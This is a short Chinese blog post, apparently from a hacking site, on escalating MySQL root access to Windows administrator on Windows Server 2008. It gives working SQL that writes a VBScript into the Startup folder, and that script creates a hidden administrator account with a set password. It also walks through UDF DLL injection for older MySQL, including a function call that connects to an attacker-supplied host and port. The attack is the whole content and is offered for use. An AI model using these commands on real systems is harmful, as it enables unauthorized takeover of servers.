mysql提权,windows2008 mysql 提权

mysql 5.1版本以上，必须把udf文件放到mysql安装目录下的lib/plugin下才能创建自定义函数，mysql into dumpfile并不能创建文件夹，所以mysql 5.1以上的版本，root权限提权就很困难了，目前已有的方法只有写启动项如下：
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0) " );
windows 2008启动项：
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

写启动项缺陷：
1、需要服务器重启（如果管理员3389远程桌面登陆时注销了用户，再次3389连接时，这个脚本就会运行，添加一个管理员，不需要重启）。
2、安全软件可能会拦截。

补充:
如果mysql小于5.1是root权限，windows 2008一样可以拿到系统权限（mysql无降权处理）
1、mysql导出一个dll
SELECT udf FROM 007hack_tab INTO DUMPFILE 'c:/007hack.dll
//udf内容网上早有公开
2、创建一个函数
create function myconnect returns integer soname 'c:\\007hack.dll
//c盘要可以写，注意是”\\”
3、调用这个函数
select myconnect('".$chost."','".$cport."')
//这只是一个例子

延伸阅读

• 2011-4-13-- mysql提权,windows 2008 mysql 提权
• 2009-9-12-- mysql提权一:mssql提权一
• 2009-9-2-- mysql提权:为MySQL提权简单思路方法